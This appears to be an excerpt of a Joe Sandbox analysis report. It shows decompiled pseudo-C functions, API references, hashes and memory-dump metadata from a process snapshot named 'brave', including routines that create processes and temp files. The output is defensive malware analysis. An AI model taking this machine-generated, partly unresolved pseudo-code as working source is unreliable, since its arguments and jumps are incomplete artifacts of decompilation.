				if ( *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t188 + 0x10)))) + _t230 * 8)) == 0) goto 0x9f8144d0;
				if (_t188 == 0) goto 0x9f8143f0;
				if ( *((long long*)(_t188 + 0x48)) != 0) goto 0x9f814118;
				 *((long long*)(_t188 + 0x48)) = 0x9fac13c0;
				if (1 -  *0x9fac13c0 < 0) goto 0x9f814123;
				if (_t188 == 0) goto 0x9f814765;
				if ( *((long long*)(_t188 + 0x40)) == 0) goto 0x9f8145b0;
				_t189 =  *_t251;
				if ( *((intOrPtr*)( *((intOrPtr*)(_t188 + 0x40)))) == 0x100000) goto 0x9f8145cb;
				if (_t189 == 0) goto 0x9f8147ee;
				_t134 =  *((long long*)(_t189 + 0x40));
				if (_t134 == 0) goto 0x9f814608;
				_t190 =  *_t251;
				if (_t134 != 0) goto 0x9f8141cb;
				if ( *((long long*)(_t190 + 0x40)) != 0) goto 0x9f8147e5;
				 *((long long*)(_t190 + 0x40)) = 0x9fac13c4;
				_t104 =  >  ? 0x100000 :  *0x9fac13c4 + 1;
				if (_t190 == 0) goto 0x9f814997;
				if ( *((long long*)(_t190 + 0x10)) == 0) goto 0x9f8146d0;
				realloc(??, ??);
				_t259 =  *((intOrPtr*)(_t190 + 0x10));
				_t192 =  *_t251;
				if (_t259 == 0) goto 0x9f814b52;
				if (_t192 == 0) goto 0x9f8149d5;
				if ( *((long long*)(_t192 + 0x40)) == 0) goto 0x9f8146b8;
				_t193 =  *_t251;
				r8d = _t104;
				r8d = r8d -  *((intOrPtr*)( *((intOrPtr*)(_t192 + 0x40))));
				if ( *(_t193 + 0x40) == 0) goto 0x9f8146a0;
				memset(??, ??, ??);
				_t195 =  *_t251;
				if (_t195 == 0) goto 0x9f814971;
				if ( *((long long*)(_t195 + 0x10)) == 0) goto 0x9f814680;
				_t196 =  *_t251;
				 *((long long*)( *((intOrPtr*)(_t195 + 0x10)))) = _t259;
				if (_t196 == 0) goto 0x9f814852;
				if ( *((long long*)(_t196 + 0x40)) == 0) goto 0x9f814670;
				_t197 =  *_t251;
				r12d =  *((intOrPtr*)( *((intOrPtr*)(_t196 + 0x40))));
				if ( *((long long*)(_t197 + 0x48)) == 0) goto 0x9f814660;
				r12d = r12d + 1;
				 *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x48)))) = r12d;
				if ( *(_t197 + 0x40) == 0) goto 0x9f814650;
				_t110 =  *( *(_t197 + 0x40));
				 *__rcx = _t110;
				if ( *(_t197 + 0x40) == 0) goto 0x9f814640;
				 *( *(_t197 + 0x40)) = _t104;
				if (__rdx == 0) goto 0x9f81473d;
				if ( *((long long*)(_t197 + 0x10)) == 0) goto 0x9f814708;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t197 + 0x10)))) + (_t259 +  *(_t193 + 0x40) * 8) * 8)) = __rdx;
				goto 0x9f8144f6;
				E00007FF67FF69F817060(); // executed
				if ( *((long long*)(_t197 + 0x38)) == 0) goto 0x9f81406b;
				if ( *_t251 != 0) goto 0x9f814318;
				E00007FF67FF69F817060();
				E00007FF67FF69F8184D0( *((intOrPtr*)( *_t251 + 0x38)));
				_t199 =  *_t251;
				if (_t199 != 0) goto 0x9f814087;
				E00007FF67FF69F817060();
				_t200 =  *_t251;
				if ( *((long long*)(_t199 + 0x48)) == 0) goto 0x9f814458;
				if (_t200 != 0) goto 0x9f814092;
				E00007FF67FF69F817060();
				goto 0x9f814092;
				 *((long long*)(_t200 + 0x10)) = _t259;
				goto 0x9f8140ca;
				E00007FF67FF69F817060();
				_t201 =  *_t251;
				if ( *((long long*)(_t200 + 0x40)) == 0) goto 0x9f8140f5;
				if (_t201 != 0) goto 0x9f8140b0;
				E00007FF67FF69F817060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t201 + 0x40)))) - _t104 <= 0) goto 0x9f814b5d;
				_t203 =  *_t251;
				if (_t203 != 0) goto 0x9f8140bb;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t203 + 0x10)) == 0) goto 0x9f814358;
				if ( *_t251 != 0) goto 0x9f8140c6;
				E00007FF67FF69F817060();
				_t205 =  *_t251;
				goto 0x9f8140ca;
				 *((long long*)(_t205 + 0x10)) = _t259;
				goto 0x9f814132;
				E00007FF67FF69F817060();
				_t206 =  *_t251;
				if ( *((long long*)(_t205 + 0x48)) == 0) goto 0x9f81415d;
				if (_t206 != 0) goto 0x9f814118;
				E00007FF67FF69F817060();
				if ( *((intOrPtr*)( *((intOrPtr*)(_t206 + 0x48)))) - _t104 <= 0) goto 0x9f814b65;
				_t208 =  *_t251;
				if (_t208 != 0) goto 0x9f814123;
				E00007FF67FF69F817060();
				if ( *((long long*)(_t208 + 0x10)) == 0) goto 0x9f8143d8;
				if ( *_t251 != 0) goto 0x9f81412e;
				E00007FF67FF69F817060();
				_t210 =  *_t251;
				goto 0x9f814132;
				 *((long long*)(_t210 + 0x48)) = 0x9fac13c0;
				goto 0x9f814099;
				 *_t250 = _t104;
				if (_t252 == 0) goto 0x9f814570;
				if (_t210 == 0) goto 0x9f814728;
				_t111 = _t110 & 0xffffff00 |  *((long long*)(_t210 + 0x10)) != 0x00000000;
				if (_t111 == 0) goto 0x9f81455c;
				if (_t210 == 0) goto 0x9f8147cb;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x10)))) + _t263)) = _t252;
				if (_t210 == 0) goto 0x9f8146f3;
				if ((_t111 & 0xffffff00 |  *((long long*)(_t210 + 0x38)) != 0x00000000) == 0) goto 0x9f81454f;
				if (_t210 != 0) goto 0x9f814502;
				E00007FF67FF69F817060();
				goto 0x9f814502;
				 *_t250 = _t104;
				if (_t252 == 0) goto 0x9f81451c;
				if (_t210 == 0) goto 0x9f814a4e;
				if ( *((long long*)(_t210 + 0x10)) == 0) goto 0x9f8146e3;
				 *((long long*)( *((intOrPtr*)( *((intOrPtr*)(_t210 + 0x10)))) + _t263)) = _t252;
				if (_t210 == 0) goto 0x9f814539;
				if ( *((long long*)(_t210 + 0x38)) == 0) goto 0x9f81454f;
				E00007FF67FF69F818410( *((intOrPtr*)(_t210 + 0x38)));
				return 0;
			}

0x7ff69f81403e
0x7ff69f814041
0x7ff69f814047
0x7ff69f81404d
0x7ff69f814054
0x7ff69f81405a
0x7ff69f814065
0x7ff69f814072
0x7ff69f814076
0x7ff69f81407b
0x7ff69f814081
0x7ff69f81408c
0x7ff69f814099
0x7ff69f8140a9
0x7ff69f8140b0
0x7ff69f8140b4
0x7ff69f8140b9
0x7ff69f8140c0
0x7ff69f8140dc
0x7ff69f8140e8
0x7ff69f8140f3
0x7ff69f8140f8
0x7ff69f8140fe
0x7ff69f814110
0x7ff69f814112
0x7ff69f814118
0x7ff69f81411c
0x7ff69f814121
0x7ff69f814128
0x7ff69f814137
0x7ff69f814144
0x7ff69f814150
0x7ff69f81415b
0x7ff69f814160
0x7ff69f814166
0x7ff69f81416b
0x7ff69f814176
0x7ff69f814180
0x7ff69f814189
0x7ff69f814192
0x7ff69f814198
0x7ff69f81419d
0x7ff69f8141a7
0x7ff69f8141ae
0x7ff69f8141b5
0x7ff69f8141c2
0x7ff69f8141d6
0x7ff69f8141e3
0x7ff69f8141ee
0x7ff69f8141fb
0x7ff69f814200
0x7ff69f814203
0x7ff69f814209
0x7ff69f814212
0x7ff69f81421d
0x7ff69f814227
0x7ff69f81422e
0x7ff69f814231
0x7ff69f81423b
0x7ff69f81424d
0x7ff69f814252
0x7ff69f814258
0x7ff69f814263
0x7ff69f81426d
0x7ff69f814270
0x7ff69f814276
0x7ff69f814281
0x7ff69f81428b
0x7ff69f81428e
0x7ff69f814296
0x7ff69f8142a0
0x7ff69f8142a4
0x7ff69f8142ac
0x7ff69f8142b6
0x7ff69f8142b8
0x7ff69f8142bf
0x7ff69f8142c9
0x7ff69f8142ce
0x7ff69f8142d9
0x7ff69f8142e8
0x7ff69f8142ec
0x7ff69f8142f8
0x7ff69f814305
0x7ff69f81430e
0x7ff69f814310
0x7ff69f81431c
0x7ff69f814321
0x7ff69f814327
0x7ff69f81432d
0x7ff69f814337
0x7ff69f81433a
0x7ff69f814343
0x7ff69f814349
0x7ff69f81434e
0x7ff69f814358
0x7ff69f814363
0x7ff69f814370
0x7ff69f81437a
0x7ff69f81437d
0x7ff69f814386
0x7ff69f81438c
0x7ff69f814397
0x7ff69f81439d
0x7ff69f8143a3
0x7ff69f8143a9
0x7ff69f8143b9
0x7ff69f8143be
0x7ff69f8143c4
0x7ff69f8143cd
0x7ff69f8143d0
0x7ff69f8143d8
0x7ff69f8143e3
0x7ff69f8143f0
0x7ff69f8143fa
0x7ff69f8143fd
0x7ff69f814406
0x7ff69f81440c
0x7ff69f814417
0x7ff69f81441d
0x7ff69f814423
0x7ff69f814429
0x7ff69f814439
0x7ff69f81443e
0x7ff69f814444
0x7ff69f81444d
0x7ff69f814450
0x7ff69f81445f
0x7ff69f814463
0x7ff69f814470
0x7ff69f814475
0x7ff69f81447e
0x7ff69f814489
0x7ff69f81448e
0x7ff69f814497
0x7ff69f8144a4
0x7ff69f8144ab
0x7ff69f8144bb
0x7ff69f8144c4
0x7ff69f8144c6
0x7ff69f8144cb
0x7ff69f8144d0
0x7ff69f8144d5
0x7ff69f8144da
0x7ff69f8144e5
0x7ff69f8144f2
0x7ff69f8144f9
0x7ff69f814500
0x7ff69f814506
0x7ff69f81451b

APIs

realloc.MSVCRT ref: 00007FF69F8141FB

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: realloc
String ID:
API String ID: 471065373-0
Opcode ID: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction ID: e8f1ddfd288d1d35da085b1e9effda159d3875a1ad5fe8044b556710a2a2b9c8
Opcode Fuzzy Hash: e336d157d8cadeff1a172b5fc071843bb7c4cd571cbffa88969bb0cc07652b88
Instruction Fuzzy Hash: 80623A76B09B0681EEF4DB05E25037937B0EB56B84F2646B9DA6C87390DF7DE454E200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F813F00 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00007FF67FF69F813F00(void* __rax, intOrPtr* __rcx, void* __rdx) {
				intOrPtr _t8;
				void* _t14;

				_t14 = __rax;
				if (__rdx == 0) goto 0x9f814018;
				if ( *__rcx == 1) goto 0x9f813f68;
				E00007FF67FF69F810F00(__rcx);
				_t1 = _t14 + 8; // 0x8
				E00007FF67FF69F8104E0(_t1);
				_t8 =  *__rcx;
				if (_t8 == 0) goto 0x9f813f80;
				if (_t8 != 1) goto 0x9f813ff0;
				E00007FF67FF69F810800(_t1);
				E00007FF67FF69F811110(_t14);
				return 0;
			}

0x7ff69f813f00
0x7ff69f813f16
0x7ff69f813f1f
0x7ff69f813f21
0x7ff69f813f26
0x7ff69f813f30
0x7ff69f813f35
0x7ff69f813f39
0x7ff69f813f3e
0x7ff69f813f47
0x7ff69f813f4f
0x7ff69f813f61

APIs

Part of subcall function 00007FF69F810F00: calloc.MSVCRT(?,?,00007FFA26C83CA0,00007FF69F813F26,?,?,?,?,000001455CD95BD0,00007FFA26C83CA0,?,00007FF69F81029B,000001455CD95BD0,00000000,00007FFA26C83CA0,00007FF69F8032FA), ref: 00007FF69F8110A4

fprintf.MSVCRT ref: 00007FF69F81400B

Strings

once %p is %d, xrefs: 00007FF69F814001

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: callocfprintf
String ID: once %p is %d
API String ID: 3366074580-95064319
Opcode ID: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction ID: df4d5597f8fa3ed44b79cc8e5541096b806ce05a63964f3dee746950baacd8b8
Opcode Fuzzy Hash: 6e9b06d7a7e3d48af93b056f8de7be245cf1a8abe53ffd6387711d9ba53eb8ef
Instruction Fuzzy Hash: 5F31F672B1970581FAF59B15A9012B973B4FF44794F4541B6EE2C873A5DE3CD481D200

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F8027F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 33
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 37%

			E00007FF67FF69F8027F0(void* __edi, void* __esp, long long __rcx, void* __rdx, long long __r8) {
				void* _v136;
				long long _v144;
				char _v148;
				char _v156;
				long long _v172;
				long long _v180;
				long long _v188;
				long long _v196;
				long long _v204;
				intOrPtr _v212;
				long long _v220;
				long long _v228;
				void* _t19;
				intOrPtr* _t30;

				_v144 = 0;
				memset(__edi, 0, 0xd << 0);
				_v196 = __r8;
				_v172 =  &_v156;
				_v188 =  &_v148;
				_t30 =  *0x9fab6640; // 0x7ff69fac1078
				_v212 = r9d;
				r9d = 0;
				_v148 = 0x68;
				 *((long long*)(__rcx)) = 0;
				 *((long long*)(__rcx + 8)) = 0;
				 *((long long*)(__rcx + 0x10)) = 0;
				_v180 = __rcx;
				_v204 = 0;
				_v220 = 0;
				_v228 = 0;
				_t19 =  *_t30(); // executed
				return _t19;
			}

0x7ff69f802809
0x7ff69f802812
0x7ff69f80281a
0x7ff69f802822
0x7ff69f80282e
0x7ff69f802833
0x7ff69f80283a
0x7ff69f80283f
0x7ff69f802842
0x7ff69f80284a
0x7ff69f802852
0x7ff69f80285b
0x7ff69f802864
0x7ff69f802869
0x7ff69f802872
0x7ff69f80287a
0x7ff69f802883
0x7ff69f802892

APIs

CreateProcessInternalW.KERNELBASE ref: 00007FF69F802883

Strings

h, xrefs: 00007FF69F802842

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: CreateInternalProcess
String ID: h
API String ID: 2186235152-2439710439
Opcode ID: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction ID: 1aa5fc7cf1736ab5ac81e560aa848462b04d4d1f23e2c720860933ad92ffa33e
Opcode Fuzzy Hash: 8bba045a17cefcb5b05322b069f8357d251dc813df342985f80b1a2e19d1b3c7
Instruction Fuzzy Hash: 2201E832618B8086E7508F54F45874BB7A4F784788FA08129EBC807B68DFBDC158CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F804880 Relevance: 3.1, APIs: 2, Instructions: 84
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 53%

			E00007FF67FF69F804880(void* __edi, void* __esp, void* __rax, void* __rcx, void* __rdx, void* __r9) {
				void* _v596;
				void* _v608;
				char _v1112;
				void* _t13;
				void* _t27;
				void* _t40;

				_t27 = __rax;
				r12d = r8d;
				memset(__edi + 0x41, memset(__edi, 0, 0x41 << 0), 0x41 << 0);
				GetTempPathW(??, ??);
				r8d = 0;
				GetTempFileNameW(??, ??, ??, ??); // executed
				r8d = r12d;
				_t13 = E00007FF67FF69F804530(__rax,  &_v1112, __rdx, _t40); // executed
				if (_t27 - 1 - 0xfffffffd <= 0) goto 0x9f804928;
				return _t13;
			}

0x7ff69f804880
0x7ff69f80489b
0x7ff69f8048c4
0x7ff69f8048d7
0x7ff69f8048e0
0x7ff69f8048e8
0x7ff69f8048ee
0x7ff69f8048f7
0x7ff69f804907
0x7ff69f804921

APIs

GetTempPathW.KERNEL32 ref: 00007FF69F8048D7
GetTempFileNameW.KERNEL32 ref: 00007FF69F8048E8

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: Temp$FileNamePath
String ID:
API String ID: 3285503233-0
Opcode ID: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction ID: 5e752499eba1e742e956ea6f745719d9ce18eb763f9f0220dd97edefc265615b
Opcode Fuzzy Hash: a36c255382f679e79db51f353ae47516e0c81a59047a74ca63f1b497fb31ef1a
Instruction Fuzzy Hash: 0031B66260878481EAA08A12F6547BAA361FB857F4F940231EEBC47BE9DFBCD0459700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F804000 Relevance: 2.5, APIs: 2, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 30%

			E00007FF67FF69F804000(void* __eax, void* __edi, void* __esp, void* __rax, void* __rcx) {
				char _v584;
				int _t9;
				void* _t12;
				void* _t26;
				signed long long _t27;
				void* _t36;
				void* _t37;

				r12d = 0;
				_t35 =  &_v584;
				0x9f821630();
				_t37 = __rax;
				goto 0x9f80403f;
				asm("o16 nop [cs:eax+eax]");
				if (__eax == 0x2f) goto 0x9f804049;
				_t27 = _t26 + 1;
				if (__rax - _t27 < 0) goto 0x9f80407c;
				_t9 =  *(__rcx + _t27 * 2) & 0x0000ffff;
				if (_t9 != 0x5c) goto 0x9f804030;
				memset(__edi, _t9, 0x41 << 0);
				0x9f821638();
				 *((short*)( &_v584 + _t27 * 2)) = 0;
				_t12 = E00007FF67FF69F803CD0(_t36, _t35); // executed
				if (_t37 - _t27 + 1 >= 0) goto 0x9f80403f;
				return _t12;
			}

0x7ff69f804011
0x7ff69f804017
0x7ff69f80401c
0x7ff69f804021
0x7ff69f804024
0x7ff69f804026
0x7ff69f804034
0x7ff69f804036
0x7ff69f80403d
0x7ff69f80403f
0x7ff69f804047
0x7ff69f804059
0x7ff69f80405f
0x7ff69f804069
0x7ff69f804072
0x7ff69f80407a
0x7ff69f80408b

APIs

wcslen.MSVCRT ref: 00007FF69F80401C
wcscpy.MSVCRT ref: 00007FF69F80405F

Memory Dump Source

Source File: 00000003.00000002.507482577.00007FF69F801000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF69F800000, based on PE: true

Associated: 00000003.00000002.507424621.00007FF69F800000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508427243.00007FF69F833000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.508494585.00007FF69F835000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517566264.00007FF69FAB1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517612834.00007FF69FAB3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.517805626.00007FF69FAB9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518095894.00007FF69FAC1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518142434.00007FF69FAC3000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518169190.00007FF69FAC6000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.518189915.00007FF69FAC7000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ff69f800000_brave.jbxd

Similarity

API ID: wcscpywcslen
String ID:
API String ID: 225642448-0
Opcode ID: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction ID: d73dee81d790fd4255aee0357a066c52a83aa513641c2fb73d2931d0521152e6
Opcode Fuzzy Hash: 97bf6b18d38952cc1e7bab5118d0ebb15cef15114d82f46dfd9f4697655be916
Instruction Fuzzy Hash: 20F02803F4A09654EEF05E16A9003F75374FB447D4FED4572EE4D95291ECACA586D204

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF69F806121 Relevance: 1.3, APIs: 1, Instructions: 91
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00007FF67FF69F806121(void* __ebx, void* __edx, signed char __rax, void* __rbx, void* __rdx, void* __r8, signed char* _a40) {
				signed int _t150;
				signed int _t153;
				void* _t157;
				signed int _t158;
				signed int _t169;
				signed int _t180;
				signed int _t182;
				signed int _t184;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				signed int _t193;
				signed int _t195;
				signed int _t197;
				signed int _t200;
				signed int _t203;
				void* _t214;
				void* _t240;
				signed char* _t245;
				long long* _t249;
				long long* _t252;
				intOrPtr* _t255;
				intOrPtr* _t258;
				intOrPtr* _t261;
				intOrPtr* _t264;
				char* _t265;
				signed char* _t266;
				intOrPtr* _t269;
				intOrPtr* _t272;
				signed char* _t275;
				intOrPtr* _t278;
				signed char* _t279;
				signed char* _t281;
				signed char* _t282;
				intOrPtr* _t321;
				intOrPtr* _t325;
				signed char* _t326;
				signed char* _t327;
				long long _t336;
				void* _t343;

				_t150 =  *(__rbx + 0x28);
				if (_t150 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326bc;
				_t321 = (_t150 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t321 + 4)) = 0;
				 *(__rbx + 0x28) = _t150 + 1;
				_a40 = _t321;
				 *_t321 = 0x2c;
				_t153 = ( *(__r8 + 2) & 0x000000ff) - 0x30;
				_t214 = _t153 - 9;
				 *((short*)(_t321 + 0x18)) = (_t153 & 0xffffff00 | _t214 < 0x00000000) & 0x000000ff;
				if (_t214 > 0) goto 0x9f806174;
				E00007FF67FF69F804E90(__rax, __rbx, __rdx, __r8, _t343);
				E00007FF67FF69F805BC0();
				_a40[0x10] = __rax;
				if (_a40[0x10] == 0) goto 0x9f805c20;
				_t157 = E00007FF67FF69F804E90(_a40, __rbx, __rdx, __r8, _t343);
				_t245 =  *(__rbx + 0x18);
				if (( *_t245 & 0x000000ff) == 0) goto 0x9f8061ae;
				_t305 =  &(_t245[1]);
				 *(__rbx + 0x18) =  &(_t245[1]);
				_a40[0x1a] = ( *_t245 & 0 | ( *_t245 & 0x000000ff) == 0x00000073) & 0x000000ff;
				_t180 =  *(__rbx + 0x28);
				if (_t180 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t249 = (_t180 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *(__rbx + 0x28) = _t180 + 1;
				 *_t249 = 0;
				 *((intOrPtr*)(_t249 + 8)) = 0;
				 *((long long*)(_t249 + 0x10)) = "decltype(auto)";
				 *((intOrPtr*)(_t249 + 0x18)) = 0xe;
				_t182 =  *(__rbx + 0x28);
				if (_t182 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t252 = (_t182 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *(__rbx + 0x28) = _t182 + 1;
				 *_t252 = 0;
				 *((intOrPtr*)(_t252 + 8)) = 0;
				 *((long long*)(_t252 + 0x10)) = 0x9fab3a36;
				 *((intOrPtr*)(_t252 + 0x18)) = 4;
				_t184 =  *(__rbx + 0x28);
				if (_t184 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326c9;
				_t255 = (_t184 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t255 + 4)) = 0;
				 *(__rbx + 0x28) = _t184 + 1;
				 *_t255 = 0x27;
				 *((long long*)(_t255 + 0x10)) = 0x9fab5380;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 4;
				_t186 =  *(__rbx + 0x28);
				if (_t186 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326dc;
				_t258 = (_t186 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t258 + 4)) = 0;
				 *(__rbx + 0x28) = _t186 + 1;
				 *_t258 = 0x27;
				 *((long long*)(_t258 + 0x10)) = 0x9fab5320;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 9;
				_t188 =  *(__rbx + 0x28);
				if (_t188 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f8326a9;
				_t261 = (_t188 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t261 + 4)) = 0;
				 *(__rbx + 0x28) = _t188 + 1;
				 *_t261 = 0x27;
				 *((long long*)(_t261 + 0x10)) = 0x9fab53c0;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 8;
				_t190 =  *(__rbx + 0x28);
				if (_t190 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f832702;
				_t264 = (_t190 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t264 + 4)) = 0;
				 *(__rbx + 0x28) = _t190 + 1;
				 *_t264 = 0x27;
				 *((long long*)(_t264 + 0x10)) = 0x9fab5360;
				 *((intOrPtr*)(__rbx + 0x48)) =  *((intOrPtr*)(__rbx + 0x48)) + 0xa;
				goto 0x9f805c22;
				 *_t264 =  *_t264 + _t157;
				_t158 =  *(__rbx + 0x28);
				if (_t158 -  *((intOrPtr*)(__rbx + 0x2c)) >= 0) goto 0x9f805c20;
				_t325 = (_t158 << 5) +  *((intOrPtr*)(__rbx + 0x20));
				 *((long long*)(_t325 + 4)) = 0;
